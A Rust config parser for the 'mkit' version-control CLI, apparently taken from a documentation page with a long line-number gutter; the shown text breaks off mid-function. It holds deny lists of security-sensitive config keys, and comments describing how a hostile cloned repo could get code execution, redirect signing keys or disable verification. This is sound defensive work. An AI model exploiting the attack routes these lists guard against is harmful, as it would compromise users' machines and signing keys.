mkit-cli 0.4.1

The mkit command-line tool: a content-addressed VCS with native attestation support
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
//! `.mkit/config` parser / writer and XDG path helpers.
//!
//! On-disk format: `key = value`, one per line, lines starting with `#`
//! ignored. User-facing short-hand values for `user.identity`:
//! `ed25519:<hex>`, `mid:<u64>`, or raw `[kind][len][bytes]` hex.
//!
//! ## Config scope
//!
//! There are two layered config files. Higher-priority values win:
//!
//! 1. **Repo-scoped** (`<repo>/.mkit/config`) — per-project knobs that
//!    travel with a clone: branch defaults and remote endpoints.
//!    Security-sensitive keys are rejected here, see
//!    [`REPO_FORBIDDEN_KEYS`].
//! 2. **User-scoped** (`$XDG_CONFIG_HOME/mkit/config`, default
//!    `~/.config/mkit/config`) — per-user knobs that decide what gets
//!    signed, what gets executed, and what hosts to trust. A hostile
//!    cloned repo cannot influence these.
//! 3. **Built-in defaults** — fall-back when neither file sets a value.
//!
//! Merge order: defaults → user → repo (filtered). The repo file is
//! parsed last so its safe values take precedence over defaults; any
//! security-sensitive key in the repo file is rejected with a stderr
//! warning and otherwise ignored. See `docs/THREAT-MODEL.md` for the
//! threat model that motivates the split.

use mkit_core::layout::RepoLayout;
use std::fmt::Write as _;
use std::fs;
use std::io;
use std::io::Write as _;
use std::path::{Path, PathBuf};

use thiserror::Error;

pub const CONFIG_FILE: &str = ".mkit/config";
pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
pub const DEFAULT_BRANCH: &str = "main";
pub const DEFAULT_SIGNER: &str = "legacy";
pub const DEFAULT_KEY_BACKEND: &str = "software";
pub const DEFAULT_KEY_REF: &str = "software:default";
pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";

/// Keys that MUST NOT be settable via the per-repo `<repo>/.mkit/config`
/// because a hostile clone could otherwise:
///
/// * redirect `signing_key` to overwrite arbitrary files on disk or to
///   sign attacker-chosen content with the user's real key,
/// * spoof the commit author by pinning `user.identity` to attacker-
///   chosen bytes while the victim's real signing key still signs the
///   object,
/// * point `attest.external_signer_path` / `_args` at any binary on the
///   host (RCE under the user's UID),
/// * **select** a user-scoped external signer or non-Ed25519 algorithm
///   to confused-deputy through it: even though the path is
///   user-scoped, the *selector* (`attest.signer`,
///   `attest.default_algorithm`) is enough to weaponize an existing
///   user-trusted binary or key against attacker-chosen content,
/// * mark a repo-controlled HTTP/S3 remote as trusted for ambient
///   environment credentials,
/// * disable SSH host-key verification on `mkit push` (MITM),
/// * disable post-fetch commit/remix/tag signature verification
///   (`pull.require_signed`, issue #692) — a hostile repo must not be able
///   to switch off the one check that would otherwise reject its own
///   unsigned/forged history on the next clone/pull/fetch.
///
/// They are accepted from the user-scoped config only.
pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
    "user.identity",
    "trusted_remote_endpoint",
    "signer",
    "pull.require_signed",
    "key.backend",
    "key.default_ref",
    "key.ed25519_ref",
    "key.secp256k1_ref",
    "key.p256_ref",
    "signing_key",
    "ssh.strict_host_key_checking",
    "ssh.user_known_hosts_file",
    "ssh.identity_file",
    "attest.signer",
    "attest.default_algorithm",
    "attest.external_signer_path",
    "attest.external_signer_args",
    "attest.external_signer_timeout_secs",
    "attest.secp256k1_key_path",
    "attest.p256_key_path",
];

/// Source of a parsed config line — used to decide whether a key is
/// allowed (`Repo` rejects [`REPO_FORBIDDEN_KEYS`]; `User` accepts
/// everything).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ConfigScope {
    Repo,
    User,
}

/// Full in-memory representation of merged config (user + repo +
/// defaults). All fields default to empty / documented defaults;
/// readers that want a known-good default file should call
/// [`read_or_default`].
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct Config {
    /// Hex-encoded Identity: `[kind:u8][len:u16 LE][bytes]`. Empty =
    /// derive from the signing key's public key at commit time.
    pub user_identity: String,
    /// Git-compatibility alias `user.name`. **Non-authoritative**: stored
    /// and round-tripped for parity with `git config user.name`, but it
    /// NEVER feeds the cryptographic commit author (which is
    /// [`user_identity`](Self::user_identity) / the signing key). Repo-safe.
    pub user_name: String,
    /// Git-compatibility alias `user.email`. Non-authoritative, exactly
    /// like [`user_name`](Self::user_name) — never feeds the signed author.
    pub user_email: String,
    /// Exact remote endpoint the user has explicitly trusted for
    /// ambient HTTP/S3 environment credentials. User-scoped only.
    pub trusted_remote_endpoint: String,
    pub signing_key: String,
    pub default_branch: String,
    pub remote_endpoint: String,
    pub remote_bucket: String,
    pub remote_type: String,
    pub ssh_strict_host_key_checking: String,
    pub ssh_user_known_hosts_file: String,
    pub ssh_identity_file: String,
    /// Write-auth scheme for `mkit+https://` / `mkit+http://` remotes
    /// (`mkit-transport-connect::ConnectTransport`). Empty/`"bearer"`
    /// (default) sends `MKIT_API_TOKEN` as a Bearer token, unchanged from
    /// #700/#701. `"envelope"` ADDITIONALLY signs every write RPC
    /// (`UpdateRef`/`AdvanceRefs`/`UploadPack`) with an Ed25519 write
    /// envelope, reusing the exact SAME signer resolution as commit
    /// signing — [`Self::signer`] / [`Self::signing_key`] /
    /// [`KeyConfig::ed25519_ref`](KeyConfig::ed25519_ref) — see
    /// `remote_dispatch::envelope_signer_from_config`. Repo-safe: this
    /// selects a wire-auth MODE, the same class of connection-shape
    /// metadata as `remote_type`; the actual signer IDENTITY selectors
    /// (`signer`, `signing_key`, `key.*`) stay user-scoped-only
    /// ([`REPO_FORBIDDEN_KEYS`], unchanged) so a hostile repo cannot
    /// redirect which key or backend does the signing — only whether
    /// the already-user-controlled commit-signing identity is also used
    /// to authenticate pushes to this remote.
    pub transport_auth: String,
    /// Commit-signing selector. User-scoped only.
    pub signer: String,
    /// `pull.require_signed` — gates whether `clone`/`pull`/`fetch` verify
    /// every newly-fetched commit/remix/tag's Ed25519 signature before
    /// publishing the remote-tracking ref (issue #692). Empty (the
    /// documented default) and any value except `"false"`/`"0"`/`"no"`/
    /// `"off"` mean "verify, fail closed"; see
    /// [`Config::pull_require_signed_or_default`]. User-scoped only — a
    /// hostile repo config must not be able to silently disable the check
    /// that protects the clone against exactly that repo (see
    /// [`REPO_FORBIDDEN_KEYS`]).
    pub pull_require_signed: String,
    /// `[key]` section. User-scoped keystore selectors.
    pub key: KeyConfig,
    /// `[attest]` section. Separate struct so new attest knobs don't
    /// balloon the flat `Config`.
    pub attest: AttestConfig,
    /// Named remotes keyed by name (`remote.<name>.url` /
    /// `remote.<name>.type`). Repo-safe — addresses, same class as the
    /// flat `remote_endpoint`. The legacy flat `remote_endpoint` /
    /// `remote_type` act as the implicit `default` remote.
    pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
    /// Per-branch upstream tracking keyed by local branch name
    /// (`branch.<branch>.remote` / `branch.<branch>.merge`). Repo-safe.
    pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
    /// Object-store durability schedule: empty/`batch` (default) =
    /// batched commit-time flushes; `per-object` = strict historical
    /// full-flush-per-object schedule (SPEC-OBJECTS §10.1's stricter
    /// conforming option). Repo-safe: the non-default value only
    /// STRENGTHENS durability (and slows writes); it cannot weaken
    /// anything.
    pub durability_objects: String,
    /// Allowlisted, **inert** `core.*` git-compat keys (see
    /// [`CORE_ALLOWED_KEYS`]). Accepted and round-tripped for parity but
    /// **not honored** by mkit — they are cosmetic settings git stores
    /// per-repo. Dangerous `core.*` keys ([`CORE_DENIED_KEYS`]) are rejected
    /// rather than stored. Keyed by the bare suffix (e.g. `autocrlf`).
    pub core: std::collections::BTreeMap<String, String>,
}

/// Inert `core.*` keys accepted for git compatibility. They are stored and
/// round-tripped but mkit does not act on them (it has no CRLF translation,
/// honors exec bits natively, etc.). Repo-safe precisely because inert.
pub const CORE_ALLOWED_KEYS: &[&str] = &[
    "autocrlf",
    "bare",
    "filemode",
    "ignorecase",
    "quotepath",
    "symlinks",
];

/// Dangerous `core.*` keys that mkit refuses to store: they would change what
/// commands or hooks mkit invokes if it honored them, so a hostile repo (or a
/// typo) must not be able to set them. Rejected with a clear message.
pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];

/// A named remote's stored address. `type` is a dispatch hint derived
/// from the URL scheme at `mkit remote add` time.
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct RemoteEntry {
    pub url: String,
    pub remote_type: String,
}

/// Per-branch upstream: the remote name plus the remote branch this
/// local branch tracks (`branch.<b>.merge` stores the bare branch
/// name, e.g. `main`).
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct Upstream {
    pub remote: String,
    pub branch: String,
}

/// `[key]` section for keystore-backed signing. All fields are user-scoped.
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct KeyConfig {
    /// Default backend for `mkit key` commands.
    pub backend: String,
    /// Generic key reference.
    pub default_ref: String,
    /// Ed25519 key reference.
    pub ed25519_ref: String,
    /// secp256k1 key reference.
    pub secp256k1_ref: String,
    /// P-256 key reference.
    pub p256_ref: String,
}

impl KeyConfig {
    #[must_use]
    pub fn backend_or_fallback(&self) -> &str {
        if self.backend.is_empty() {
            DEFAULT_KEY_BACKEND
        } else {
            self.backend.as_str()
        }
    }

    #[must_use]
    pub fn default_ref_or_fallback(&self) -> &str {
        if self.default_ref.is_empty() {
            DEFAULT_KEY_REF
        } else {
            self.default_ref.as_str()
        }
    }

    #[must_use]
    pub fn ed25519_ref_or_fallback(&self) -> &str {
        if self.ed25519_ref.is_empty() {
            self.default_ref_or_fallback()
        } else {
            self.ed25519_ref.as_str()
        }
    }

    #[must_use]
    pub fn secp256k1_ref_or_fallback(&self) -> &str {
        if self.secp256k1_ref.is_empty() {
            if self.default_ref.is_empty() {
                DEFAULT_SECP256K1_KEY_REF
            } else {
                self.default_ref.as_str()
            }
        } else {
            self.secp256k1_ref.as_str()
        }
    }

    #[must_use]
    pub fn p256_ref_or_fallback(&self) -> &str {
        if self.p256_ref.is_empty() {
            if self.default_ref.is_empty() {
                DEFAULT_P256_KEY_REF
            } else {
                self.default_ref.as_str()
            }
        } else {
            self.p256_ref.as_str()
        }
    }
}

/// Parsed config with per-layer provenance preserved so callers can
/// distinguish "repo configured this" from "user explicitly trusted
/// this".
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct LayeredConfig {
    pub merged: Config,
    pub user: Config,
    pub repo: Config,
}

/// `[attest]` section. All fields optional with documented defaults; a
/// fresh repo's config file has none of them set.
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct AttestConfig {
    /// One of `"ed25519"`, `"secp256k1"`, `"p256"`. Empty = `"ed25519"`.
    pub default_algorithm: String,
    /// One of `"repo-key"`, `"external"`, `"keystore"`. Empty = `"repo-key"`.
    pub signer: String,
    /// Absolute path to the external signer binary. Required when
    /// `signer = "external"`. User-scoped only.
    pub external_signer_path: String,
    /// Extra argv tokens to pass to the external signer subprocess.
    /// Each `Vec` entry is one argv entry — the stored list maps 1:1
    /// to `std::process::Command::args`. On disk, encoded as a
    /// pipe-separated string: `attest.external_signer_args = sign|--tag|demo`.
    /// User-scoped only.
    pub external_signer_args: Vec<String>,
    /// Wall-clock budget (in seconds) for the entire external-signer
    /// conversation: spawn → request-write → response-read →
    /// stderr-drain → child-exit. On expiry mkit kills and reaps the
    /// child. Empty / 0 = use the crate default (120s, generous for
    /// hardware touch/PIN/biometric). User-scoped only — see
    /// [`REPO_FORBIDDEN_KEYS`] (a hostile repo must not be able to set a
    /// 0s "deny" timeout or a multi-hour hang).
    pub external_signer_timeout_secs: Option<u64>,
    /// Per-algorithm repo-key paths for non-ed25519 signing.
    /// User-scoped only — see [`REPO_FORBIDDEN_KEYS`].
    pub secp256k1_key_path: String,
    pub p256_key_path: String,
}

impl AttestConfig {
    #[must_use]
    pub fn default_algorithm_or_fallback(&self) -> &str {
        if self.default_algorithm.is_empty() {
            "ed25519"
        } else {
            self.default_algorithm.as_str()
        }
    }

    #[must_use]
    pub fn signer_or_fallback(&self) -> &str {
        if self.signer.is_empty() {
            "repo-key"
        } else {
            self.signer.as_str()
        }
    }

    #[must_use]
    pub fn secp256k1_key_path_or_default(&self) -> &str {
        if self.secp256k1_key_path.is_empty() {
            ".mkit/keys/secp256k1.key"
        } else {
            self.secp256k1_key_path.as_str()
        }
    }

    #[must_use]
    pub fn p256_key_path_or_default(&self) -> &str {
        if self.p256_key_path.is_empty() {
            ".mkit/keys/p256.key"
        } else {
            self.p256_key_path.as_str()
        }
    }
}

impl Config {
    /// Return a Config with documented defaults filled in.
    #[must_use]
    pub fn with_defaults() -> Self {
        Self {
            signing_key: DEFAULT_SIGNING_KEY.to_owned(),
            default_branch: DEFAULT_BRANCH.to_owned(),
            signer: DEFAULT_SIGNER.to_owned(),
            key: KeyConfig {
                backend: DEFAULT_KEY_BACKEND.to_owned(),
                default_ref: String::new(),
                ed25519_ref: String::new(),
                secp256k1_ref: String::new(),
                p256_ref: String::new(),
            },
            ..Self::default()
        }
    }
}

#[derive(Debug, Error)]
pub enum ConfigError {
    #[error("I/O: {0}")]
    Io(#[from] io::Error),
    #[error("invalid config value — control characters are not permitted")]
    InvalidValue,
    #[error("unknown config key: {0}")]
    UnknownKey(String),
    #[error("invalid user.identity: {0}")]
    InvalidUserIdentity(&'static str),
    #[error(
        "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
    )]
    InvalidKeyPath(String),
}

/// Validate that a key-file path (`signing_key`, `attest.*_key_path`,
/// `ssh.*_file`) cannot escape via `..` traversal. Empty strings pass
/// — callers fall back to the documented default.
impl Config {
    /// Map `durability.objects` onto the object-store sync policy.
    /// Unknown values fall back to the batched default rather than
    /// erroring — config load must not brick the repo.
    #[must_use]
    pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
        match self.durability_objects.trim() {
            "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
            _ => mkit_core::store::SyncPolicy::Batch,
        }
    }

    /// Effective `pull.require_signed` (issue #692): `true` unless the
    /// user-scoped config explicitly disabled it. Empty (unset, the
    /// documented default) and any unrecognized value are treated as
    /// "verify" — only an explicit falsy spelling opts out, so a typo in
    /// the config file fails closed rather than silently disabling the
    /// check.
    #[must_use]
    pub fn pull_require_signed_or_default(&self) -> bool {
        !matches!(
            self.pull_require_signed
                .trim()
                .to_ascii_lowercase()
                .as_str(),
            "false" | "0" | "no" | "off"
        )
    }

    /// `true` iff [`Self::transport_auth`] selects the Ed25519 write-envelope
    /// auth mode (case-insensitive `"envelope"`). Empty (the default) and
    /// any other value mean the unchanged bearer-token-only behavior.
    #[must_use]
    pub fn transport_auth_envelope(&self) -> bool {
        self.transport_auth.trim().eq_ignore_ascii_case("envelope")
    }
}

pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
    if value.is_empty() {
        return Ok(());
    }
    let p = Path::new(value);
    for comp in p.components() {
        if matches!(comp, std::path::Component::ParentDir) {
            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
        }
    }
    Ok(())
}

/// Resolve a configured signing-key path against `root`.
///
/// Policy from the security hardening follow-up:
/// - relative paths are allowed only under `<repo>/.mkit/keys/`
/// - absolute paths are allowed only under the home directory of the
///   process's effective uid (looked up via `getpwuid_r(geteuid())`,
///   not `$HOME`, so a hostile parent can't set `HOME=/` and admit
///   every absolute path).
pub fn resolve_key_path(layout: &RepoLayout, value: &str) -> Result<PathBuf, ConfigError> {
    validate_key_path(value)?;
    let path = Path::new(value);
    if path.is_absolute() {
        let Some(home) = home_dir_for_euid() else {
            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
        };
        return if path.starts_with(&home) {
            Ok(path.to_path_buf())
        } else {
            Err(ConfigError::InvalidKeyPath(value.to_owned()))
        };
    }

    // A relative key path is repo-relative with a mandatory
    // `.mkit/keys/` prefix. Resolve the `.mkit/` component against the
    // layout's COMMON dir — the one shared key store — so a linked
    // worktree (#493) signs with the same repo keys as the main tree.
    // Single-worktree repos resolve byte-identically to the historical
    // `<root>/.mkit/…` join.
    let Ok(under_mkit) = path.strip_prefix(mkit_core::MKIT_DIR) else {
        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
    };
    let joined = layout.common_dir().join(under_mkit);
    let repo_keys = layout.keys_dir();
    if !joined.starts_with(&repo_keys) {
        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
    }
    Ok(joined)
}

/// Resolve the home directory of the current effective uid via
/// `getpwuid_r`, ignoring `$HOME`.
///
/// `$HOME` is part of the parent process's environment and a malicious
/// parent can set it to anything (`/`, `/tmp`, an attacker-owned dir)
/// before exec'ing `mkit`. The kernel-side passwd database, by
/// contrast, is rooted in the system's user store and tracks the same
/// uid used elsewhere in the security checks (`load_raw_32`'s owner
/// check, parent-dir mode check, etc.). Falling back to `$HOME` would
/// re-introduce the exact attack we're trying to close, so we don't.
#[cfg(unix)]
#[must_use]
pub fn home_dir_for_euid() -> Option<PathBuf> {
    use std::ffi::CStr;
    use std::os::unix::ffi::OsStringExt;

    // `getpwuid_r` writes into caller-provided buffers. 4 KiB matches
    // the `_SC_GETPW_R_SIZE_MAX` advisory size on Linux/macOS and is
    // far more than any real passwd entry needs; if it ever overflows
    // we fail closed (the caller treats `None` as "refuse the absolute
    // path") rather than retrying with a larger buffer.
    //
    // SAFETY: `getpwuid_r` is the thread-safe / reentrant variant of
    // `getpwuid`. `pwd` and `buf` are valid stack memory of known size
    // for the duration of the call; `result` is set to either `&pwd`
    // (entry found) or NULL (no entry). `geteuid` is parameterless and
    // infallible. We only read `pwd.pw_dir` when `result == &pwd`, and
    // the bytes we hand out come from copying through `CStr`, not from
    // continuing to dereference `pwd` after the unsafe block ends.
    // Reviewed alongside the matching `geteuid` block in
    // `mkit_core::sign`.
    #[allow(unsafe_code)]
    let pw_dir_owned = unsafe {
        let mut buf = [0i8; 4096];
        let mut pwd: libc::passwd = std::mem::zeroed();
        let mut result: *mut libc::passwd = std::ptr::null_mut();
        let rc = libc::getpwuid_r(
            libc::geteuid(),
